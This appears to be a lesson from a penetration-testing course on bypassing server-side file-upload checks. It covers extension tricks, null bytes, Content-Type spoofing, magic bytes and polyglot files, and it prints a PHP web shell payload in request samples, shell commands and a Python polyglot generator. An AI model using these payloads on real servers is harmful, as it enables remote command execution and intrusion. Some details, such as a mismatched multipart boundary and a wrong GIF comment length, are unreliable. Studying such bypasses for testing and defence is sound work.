Client-side validation was trivial to bypass — but server-side validation is where the real challenge begins. In this lesson, we will systematically examine each type of server-side validation and learn the techniques attackers use to circumvent them. Understanding these bypasses is essential for both penetration testers and developers.
A blacklist approach blocks known dangerous file extensions like .php, .phtml, .php3, .php4, .php5, .phps, .asp, .aspx, .jsp, .cgi, and .pl. The problem is that there are many alternative extensions that the server may still execute as code, depending on its configuration.
| Language | Common Extensions | Lesser-Known Executable Extensions |
|---|---|---|
| PHP | .php | .phtml, .php3, .php4, .php5, .php7, .phps, .pht, .phar, .inc |
| ASP/ASPX | .asp, .aspx | .asa, .cer, .asax, .ascx, .ashx, .asmx, .axd |
| JSP | .jsp | .jspx, .jsw, .jsv, .jspf, .wss |
| Perl | .pl | .cgi, .pm |
| Python | .py | .pyc, .pyo, .pyw |
If the blacklist only blocks .php but the server is configured to execute .phtml files, simply renaming shell.php to shell.phtml bypasses the check entirely.
💡 Apache's httpd.conf and .htaccess files control which extensions are handled by which modules. A misconfigured server might have AddHandler php5-script .php .phtml .phar, meaning all three extensions are executed as PHP.
A whitelist approach is more secure than a blacklist — it only allows specific extensions like .jpg, .png, and .gif. However, even whitelists can be bypassed through several techniques.
One classic technique is the null byte injection. In older PHP versions (before 5.3.4), a null byte (%00) in the filename would truncate the string at the C level. An attacker could upload shell.php%00.jpg — the server's validation would see the .jpg extension and allow it, but when PHP wrote the file, everything after the null byte would be discarded, resulting in shell.php.
Filename: shell.php%00.jpg
Validation sees: shell.php%00.jpg → extension is .jpg → ALLOWED
File written as: shell.php (null byte truncates the rest)⚠️ Null byte injection was patched in PHP 5.3.4 and is no longer effective in modern PHP versions. However, it may still work in applications built on older frameworks or other languages with similar string handling vulnerabilities. Always test for it — legacy systems are common in enterprise environments.
Some applications validate the Content-Type header of the uploaded file. For example, they might require Content-Type: image/jpeg. Since the Content-Type is sent by the client, it can be trivially changed using a proxy.
--- Original request with malicious file ---
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----B123
------B123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------B123--
--- Modified request with spoofed Content-Type ---
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=------B123
------B123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------B123--Simply changing the Content-Type header from application/x-php to image/jpeg bypasses the validation. The server sees image/jpeg and allows the upload, but the file content is still PHP code that will be executed when accessed.
More sophisticated applications check the actual file content (magic bytes) to verify the file type. For example, JPEG files begin with FF D8 FF, and PNG files begin with 89 50 4E 47. To bypass this, attackers prepend valid magic bytes to their malicious code.
# Prepend GIF magic bytes to a PHP shell
echo 'GIF89a' > shell.gif.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.gif.php
# The file now starts with GIF89a (valid GIF header)
# but contains PHP code that will be executed if the server
# processes it as PHP (e.g., via .htaccess configuration)The file shell.gif.php passes a GIF magic byte check because it starts with GIF89a. If the server is configured to execute .php files (or if the attacker can also control the extension), the PHP code will be executed.
Applications often limit upload file size. This can sometimes be bypassed by exploiting the difference between client-declared size and actual size, or by using chunked transfer encoding to avoid Content-Length checks. However, the most common bypass is simply that the web server's own size limit (e.g., client_max_body_size in Nginx) may be larger than the application's limit, allowing oversized files through.
Some applications use server-side image processing libraries (like GD or ImageMagick) to verify that the uploaded file is a valid image. These checks can be bypassed by creating a polyglot file — a file that is simultaneously valid in multiple formats. For example, a file that is both a valid GIF and contains PHP code in the comment section.
# Create a valid GIF with PHP code in a comment
# GIF comments are stored in the Application Extension block
python3 -c "
import struct
# GIF89a header
header = b'GIF89a'
# Logical screen descriptor (1x1 pixel)
screen = struct.pack('<HH', 1, 1) + b'\x00\x00\x00'
# Global color table (2 colors)
color_table = b'\x00\x00\x00\xff\xff\xff'
# Image descriptor
img_desc = b'\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00'
# Image data
img_data = b'\x02\x02\x44\x01\x00'
# Comment extension with PHP code
comment = b'\x21\xfe\x0f' + b'<?php system($_GET[\"cmd\"]); ?>' + b'\x00'
# GIF trailer
trailer = b'\x3b'
with open('polyglot.php.gif', 'wb') as f:
f.write(header + screen + color_table + img_desc + img_data + comment + trailer)
print('Polyglot file created: polyglot.php.gif')
"Server-side validation bypass is an arms race. Each additional validation layer increases the difficulty for the attacker, but no single check is sufficient. Defense in depth — combining multiple validation techniques — is the only reliable approach. We will cover comprehensive defensive strategies in Lesson 9.
Verify exercises to earn ★ 160 XP and unlock next lab level.